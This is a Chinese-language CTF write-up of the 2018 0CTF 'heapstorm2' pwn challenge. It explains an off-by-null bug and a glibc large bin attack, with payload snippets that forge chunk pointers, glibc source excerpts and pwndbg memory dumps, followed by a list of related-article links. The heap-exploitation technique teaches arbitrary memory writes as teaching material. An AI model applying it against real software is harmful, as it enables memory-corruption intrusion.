largebin_attack利用第一彈:2018-0ctf-heapstorm2
mallopt
下面是在glibc-2.24裡面截出來的,看看下面的英文註釋就大概明白了。
parameter_number 根據值確定是哪一種型別,parameter_value是為對應的parameter_number型別進行賦值。
比如,mallopt(1,0)就是對M_MXFAST設定值為0,表示禁用fastbin。
/* M_MXFAST is the maximum request size used for "fastbins", special bins that hold returned chunks without consolidating their spaces. This enables future requests for chunks of the same size to be handled very quickly, but can increase fragmentation, and thus increase the overall memory footprint of a program. This malloc manages fastbins very conservatively yet still efficiently, so fragmentation is rarely a problem for values less than or equal to the default. The maximum supported value of MXFAST is 80. You wouldn't want it any higher than this anyway. Fastbins are designed especially for use with many small structs, objects or strings -- the default handles structs/objects/arrays with sizes up to 8 4byte fields, or small strings representing words, tokens, etc. Using fastbins for larger objects normally worsens fragmentation without improving speed. M_MXFAST is set in REQUEST size units. It is internally used in chunksize units, which adds padding and alignment. You can reduce M_MXFAST to 0 to disable all use of fastbins. This causes the malloc algorithm to be a closer approximation of fifo-best-fit in all cases, not just for larger requests, but will generally cause it to be slower. */ /* mallopt(int parameter_number, int parameter_value) Sets tunable parameters The format is to provide a (parameter-number, parameter-value) pair. mallopt then sets the corresponding parameter to the argument value if it can (i.e., so long as the value is meaningful), and returns 1 if successful else 0. SVID/XPG/ANSI defines four standard param numbers for mallopt, normally defined in malloc.h. Only one of these (M_MXFAST) is used in this malloc. The others (M_NLBLKS, M_GRAIN, M_KEEP) don't apply, so setting them has no effect. But this malloc also supports four other options in mallopt. See below for details. Briefly, supported parameters are as follows (listed defaults are for "typical" configurations). Symbol param # default allowed param values M_MXFAST 1 64 0-80 (0 disables fastbins) M_TRIM_THRESHOLD -1 128*1024 any (-1U disables trimming) M_TOP_PAD -2 0 any M_MMAP_THRESHOLD -3 128*1024 any (or 0 if no MMAP support) M_MMAP_MAX -4 65536 any (0 disables use of mmap) */ int __libc_mallopt (int param_number, int value) { mstate av = &main_arena; int res = 1; if (__malloc_initialized < 0) ptmalloc_init (); (void) mutex_lock (&av->mutex); /* Ensure initialization/consolidation */ malloc_consolidate (av); LIBC_PROBE (memory_mallopt, 2, param_number, value); switch (param_number) { case M_MXFAST: if (value >= 0 && value <= MAX_FAST_SIZE) { LIBC_PROBE (memory_mallopt_mxfast, 2, value, get_max_fast ()); set_max_fast (value); } else res = 0; break; case M_TRIM_THRESHOLD: LIBC_PROBE (memory_mallopt_trim_threshold, 3, value, mp_.trim_threshold, mp_.no_dyn_threshold); mp_.trim_threshold = value; mp_.no_dyn_threshold = 1; break; case M_TOP_PAD: LIBC_PROBE (memory_mallopt_top_pad, 3, value, mp_.top_pad, mp_.no_dyn_threshold); mp_.top_pad = value; mp_.no_dyn_threshold = 1; break; case M_MMAP_THRESHOLD: /* Forbid setting the threshold too high. */ if ((unsigned long) value > HEAP_MAX_SIZE / 2) res = 0; else { LIBC_PROBE (memory_mallopt_mmap_threshold, 3, value, mp_.mmap_threshold, mp_.no_dyn_threshold); mp_.mmap_threshold = value; mp_.no_dyn_threshold = 1; } break; case M_MMAP_MAX: LIBC_PROBE (memory_mallopt_mmap_max, 3, value, mp_.n_mmaps_max, mp_.no_dyn_threshold); mp_.n_mmaps_max = value; mp_.no_dyn_threshold = 1; break; case M_CHECK_ACTION: LIBC_PROBE (memory_mallopt_check_action, 2, value, check_action); check_action = value; break; case M_PERTURB: LIBC_PROBE (memory_mallopt_perturb, 2, value, perturb_byte); perturb_byte = value; break; case M_ARENA_TEST: if (value > 0) { LIBC_PROBE (memory_mallopt_arena_test, 2, value, mp_.arena_test); mp_.arena_test = value; } break; case M_ARENA_MAX: if (value > 0) { LIBC_PROBE (memory_mallopt_arena_max, 2, value, mp_.arena_max); mp_.arena_max = value; } break; } (void) mutex_unlock (&av->mutex); return res; }
2018-0ctf-heapstorm2
功能邏輯
找找其他的資料,櫻花師傅的文章分析還是比較仔細的。
漏洞點
int __fastcall update(_QWORD *a1) { __int64 v2; // ST18_8 __int64 v3; // rax signed int idx; // [rsp+10h] [rbp-20h] int size; // [rsp+14h] [rbp-1Ch] printf("Index: "); idx = get_input(); if ( idx < 0 || idx > 15 || !xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) ) return puts("Invalid Index"); printf("Size: "); size = get_input(); if ( size <= 0 || size > (unsigned __int64)(xor_1((__int64)a1, a1[2 * (idx + 2LL) + 1]) - 12) )// 0 < size < heap.size - 12 return puts("Invalid Size"); printf("Content: "); v2 = xor_2(a1, a1[2 * (idx + 2LL)]); sub_1377(v2, size); v3 = size + v2; *(_QWORD *)v3 = 5931051951075706184LL; *(_DWORD *)(v3 + 8) = 1229545293; *(_BYTE *)(v3 + 12) = 0; // off by null return printf("Chunk %d Updated\n", (unsigned int)idx); }
存在off_by_one漏洞
思路整理
程式由明顯的off_by_one漏洞,可以構造overlapped chunk。普通的思路就是洩露heap、libc然後getshell。
但是這道題目的特殊之處在於,他mmap一塊區域儲存global node,並且和一個隨機數進行xor操作,並且view功能剛開始不能使用,所以我們需要控制mmap出來的記憶體空間,如果可以控制這部分記憶體空間,那麼後面的操作就很容易了。
利用分析
在large bin attack觸發前的情況是 unsorted bin 裡面有一個 chunk_A 0x060 , large bin 裡面有一個chunk_B 0x5c0 。並且unsorted bin中的chunk size較大。
然後用下面的內容改寫unsortedbin 以及 large bin , 為觸發large bin attack構造條件。
storage = 0x13370000 + 0x800 fake_chunk = storage - 0x20 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1) #modify unsorted bin 0x060 p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2) # modify largebin 0x5c0
此時unsortedbin裡面的A->bk指向了fake_chunk , 這裡的fake_chunk本來是沒有內容的,也就是說fake_chunk->size == 0 , 正常情況下分配記憶體的時候會報錯,但是我們透過large bin attack使得fake_chunk ->size正好等於0x56。
下面是需要利用到的large bin attack的glibc程式碼,我放到這,後面再詳細解釋。
else { /* 從這裡我們可以總結出,largebin 以 fd_nextsize 遞減排序。 同樣大小的 chunk,後來的只會插入到之前同樣大小的 chunk 後, 而不會修改之前相同大小的fd/bk_nextsize,這也很容易理解, 可以減低開銷。此外,bin 頭不參與 nextsize 連結。*/ victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert ((bck->bk->size & NON_MAIN_ARENA) == 0); if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0); while ((unsigned long) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0); } if ((unsigned long) size == (unsigned long) fwd->size) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }
進行操作前的chunk內容如下
pwndbg> x/4xg 0x5625d6050060 unsorted bin 0x5625d6050060: 0x0000000000000000 0x00000000000004f1 0x5625d6050070: 0x0000000000000000 0x00000000133707e0 pwndbg> x/6xg 0x5625d60505c0 large bin 0x5625d60505c0: 0x0000000000000000 0x00000000000004e1 0x5625d60505d0: 0x0000000000000000 0x00000000133707e8 0x5625d60505e0: 0x0000000000000000 0x00000000133707c3
malloc 一個 0x40大小的chunk , 觸發large bin attack 。 觸發結束後 ,各個chunk的內容如下。
pwndbg> x/6xg 0x5625d6050060 0x5625d6050060: 0x0000000000000000 0x00000000000004f1 0x5625d6050070: 0x00007f42fc72fb38 0x00000000133707e8 0x5625d6050080: 0x00005625d60505c0 0x00000000133707c3 pwndbg> x/6xg 0x5625d60505c0 0x5625d60505c0: 0x0000000000000000 0x00000000000004e1 0x5625d60505d0: 0x0000000000000000 0x00005625d6050060 0x5625d60505e0: 0x0000000000000000 0x00005625d6050060
下面我們分析一下,當前下large bin 內的chunk大小小於unsortedbin內的chunk大小,並且large bin 內只有一個chunk,使用下面程式碼進行操作。
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;
這裡的victim等於0x060 , fwd等於0x5c0 。
下面進行操作:
0x060+0x20 = 0x5c0 (victim->fd_nextsize = fwd)
0x060+0x28 = *(0x5c0 + 0x28) = 0x133707c3 (victim->bk_nextsize = fwd->bk_nextsize;)
0x5c0+0x28 = 0x060 (fwd->bk_nextsize = victim;)
0x133707c3 + 0x20 = 0x060 (victim->bk_nextsize->fd_nextsize = victim;)這裡完成了對fake_chunk size的賦值,賦值為0x56,地址的首位元組。(有可能是0x55,也有可能是0x56,2018-0ctf-babyheap劫持main_arena也需要這個姿勢,多跑幾次就可以碰到0x56開頭的地址)
其實現在來看,large bin的攻擊核心過程就是
victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;
如果我們想要給某個物件賦值的時候,可以將fwd(large bin)的bk_nextsize設定成距離目標位置一定偏移處的地址。
bck = fwd->bk;
這裡的fwd = 0x5c0 ,所以bck = *(0x5c0+0x18) = 0x133707e8
victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
0x060+0x18 = 0x133707e8
0x060+0x10 = 0x5c0
0x5c0+0x18 = 0x060
0x133707e8+0x10 = 0x060
vmmap區域的內容如下
pwndbg> x/20xg 0x00000000133707e0 0x133707e0: 0x25d6050060000000 0x0000000000000056 0x133707f0: 0x00007f42fc72fb38 0x00005625d6050060 0x13370800: 0x99aadb63494578ab 0x628b23e0f2f5db6c 0x13370810: 0x39301628a1dc6f51 0x39301628a1dc6f51 0x13370820: 0x99aa8d469f4078bb 0x628b23e0f2f5db74
到這裡unsorted bin中取出0x060插入large bin , 即 large bin attack的操作結束, mmap區域的fake_chunk->size已經被設定為0x56,在取出這個chunk的過程中,還會改動一個chunk的內容,如下
因為剩下的mmap區域的chunk位於unsorted bin內,大小完全匹配,下面的操作是解鏈操作,bck對應的fake_chunk->bk = 0x060。
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
0x060 + 0x10 = unsorted_chunks (av)
需要注意的地方
當我們在攻擊利用前需要對 large bin 進行構造,我們是下面這樣進行構造的。
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
上面是大佬的註釋,我覺得可能有點問題,我們要注意的是在bk欄位裡面要設定成fake_chunk+8。
具體原因如下:我們在利用large bin攻擊成功之後,mmap的fake_chunk->size被設定成我們目標的樣子,當正常分配的時候,肯定要解鏈,解鏈操作的時候,如下
unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
其中的bck就是fake_chunk->bk 也就是 fake_chunk + 0x18
我們要保證這裡是一個可寫的地址,所以需要構造,最簡單的辦法讓其指向我們的heap。
在前面large_bin attck的過程中,有
bck = fwd->bk; bck = fake_chunk + 8 bck->fd = victim; fake_chunk + 8 +0x10
所以我們在構造large bin的時候 , 在其bk位元組放置fake_chunk+8 就能保證large bin攻擊結束 , 進行unsortedbin解鏈的時候 , fake_chunk+0x18是一個可寫記憶體。
下面稍微解釋一下main_arena裡面的內容
pwndbg> x/40xg 0x7f42fc72fae0 0x7f42fc72fae0 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7f42fc72faf0 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb00 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb10 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb20 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f42fc72fb30 <main_arena+80>: 0x0000000000000000 0x00005625d6050ac0 top 0x7f42fc72fb40 <main_arena+96>: 0x00005625d60505c0 0x00005625d6050060 last_remainder unsorted bin 0x7f42fc72fb50 <main_arena+112>: 0x00005625d6050060 0x00007f42fc72fb48 0x7f42fc72fb60 <main_arena+128>: 0x00007f42fc72fb48 0x00007f42fc72fb58
因為glibc bin的節省空間機制,所以會看到,當unsorted bin的下面一個bin沒被賦值的時候,會和unsorted bin指向相同的內容。
總結一下重點:
總體來說,這道題目的利用方式
偽造large_bin的bk_nextsize以及large_bin的bk來向任意地址寫入heap_address :透過unsorted_bin解鏈插入large_bin過程中進行的large_bin_attack,並且控制unsorted_bin的bk指向fake_chunk,在解鏈結束後large_bin_attack結束,fake_chunk_size被修改完畢,繼續遍歷unsorted_bin過程中取出fake_chunk,達成利用。
前提:unsorted bin中chunk_size大於large_bin中的chunk_size,並且unsorted_bin和large_bin中的chunk均可控。(當然並不一定非要滿足這樣的大小關係,只是下面的利用程式碼流程是針對於unsorted_bin<large_bin的,其他情況可能也有類似的程式碼流程效果。)
主要利用程式碼:
victim 對應 unsorted_bin_chunk fwd 對應 large_bin_chunk (1) 1. victim->fd_nextsize = fwd 2. victim->bk_nextsize = fwd->bk_nextsize 3. fwd->bk_nextsize = victim 4. victim->bk_nextsize->fd_nextsize = victim (2) 5. bck = fwd->bk (3) 6. victim->bk = bck 7. victim->fd = fwd 8. fwd->bk = victim 9. bck->fd = victim
上面這一組攻擊流程中具有兩組任意地址寫heap_address的效果。
第一次: 2 + 4 :victim->bk_nextsize = fwd->bk_nextsize victim->bk_nextsize->fd_nextsize = victim
將large_bin的bk_nextsize位置置為fake_chunk1,最終會在fake_chunk1+0x20處寫入heap_address
第二次: 5 + 9 : bck = fwd->bk bck->fd = victim
將large_bin的bk置為fake_chunk2,最終會在fake_chunk2+0x10處寫入heap_address。
上面兩處任意地址寫heap_address在本題中,
第一處用來偽造fake_chunk_size(heap_address以0x56)
第二處用來達成unsorted_bin取出fake_chunk進行解鏈操作需要的條件:解鏈後眾所周知還要bck->fd = unsorted_bin(av); 注:此時的bck為fake_chunk->bk
我們要確保這裡的bck-fd是一個可寫的地址,因此將fake_chunk->bk置為heap_address再方便不過。
在附一遍我們是如何控制unsorted_bin和large_bin的內容:
p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size p1 += p64(0) + p64(fake_chunk) #bk update(7, p1) #modify unsorted bin p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when get out from unsorted bin p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks update(8, p2) # modify largebin
總結很重要,要細品
相關文章
- 常回家看看之largebin_attack2024-07-25
- (1)刷題第一彈2024-11-01
- RMQ_第一彈_Sparse Table2018-09-22MQ
- 有趣軟體分享之第一彈2021-01-03
- 量化策略:如何利用死貓反彈獲利?2020-12-10
- 2018前端圈面試題第一彈2018-09-25前端面試題
- 萬物皆可快速上手之Electron(第一彈)2020-11-16
- 利用transform實現一個純CSS彈出選單2020-07-15ORMCSS
- 【第一彈】嵌入式工程師面試題2021-11-04工程師面試題
- Material Design 實戰 之第一彈——Toolbar詳解2018-09-16Material Design
- Android P FAQ第一彈:非SDK管控特性2018-06-01Android
- C++入門:與Python對比第一彈2018-07-24C++Python
- 第一彈:MyEclipse2017 CI7 安裝2018-09-12Eclipse
- 程式猿摳搜指南第一彈:租房全方位保障2022-03-15
- 泛型語法改進第一彈 —— Opaque Result Types2019-05-05泛型Opaque
- 分散式系列第一彈:分散式一致性!2022-11-22分散式
- Gearman實戰第一彈:非同步處理結算單2020-10-11非同步
- GC那些事兒–Android記憶體優化第一彈2019-02-28GCAndroid記憶體優化
- 第一彈:puppeteer爬蟲小demo —— 網易雲音樂2018-05-27爬蟲
- 回望2022,拒絕間接性努力【面試題第一彈】2023-01-29面試題
- JVM記憶體洩露(OOM)!帶你一一揭秘【第一彈】2020-03-24JVM記憶體洩露OOM
- 讓子彈飛~利用OPcache擴充套件提升PHP7效能 | laravel篇2021-09-09opcache套件PHPLaravel
- 讓子彈飛~利用 OPcache 擴充套件提升 PHP7 效能 | Laravel 篇2018-10-24opcache套件PHPLaravel
- 彈彈彈,彈走魚尾紋的彈出選單(vue)2018-09-11Vue
- 大資料學習筆記500條【第一彈】,記得收藏!2019-05-27大資料筆記
- 【grunt第一彈】30分鐘學會使用grunt打包前端程式碼2021-09-09前端
- 雲原生的彈性 AI 訓練系列之三:藉助彈性伸縮的 Jupyter Notebook,大幅提高 GPU 利用率2021-10-18AIGPU
- 小球彈彈樂2020-11-26
- Docker與虛擬化技術淺析第一彈之docker與Kubernetes2022-08-24Docker
- 利用Hyperledger Fabric開發你的第一個區塊鏈應用2019-04-18區塊鏈
- 鑄博皇御2022新年福利第一彈,點差回贈最高$26/手!2022-01-02
- 國慶後第一彈,免費送深入淺出 Java 微服務視訊2018-10-09Java微服務
- 新年第一彈 | 全套物業管理應用模板奉上,BI建設“開箱即用”2022-02-14
- 在騰訊雲容器服務 TKE 中利用 HPA 實現業務的彈性伸縮2020-12-07
- (第一篇)記一次python分散式web開發(利用docker)2020-12-23Python分散式WebDocker
- 阿里雲伺服器ECS配置及LAMP環境搭建及配置(新手攻略第一彈)2019-10-02阿里伺服器LAMP
- 用Python獲取可能是全網最全的傑尼龜表情包(第一彈)2020-04-06Python
- 利用fnd_flex_keyval包輕鬆獲取關鍵性彈性域組合描述欄位2019-12-14Flex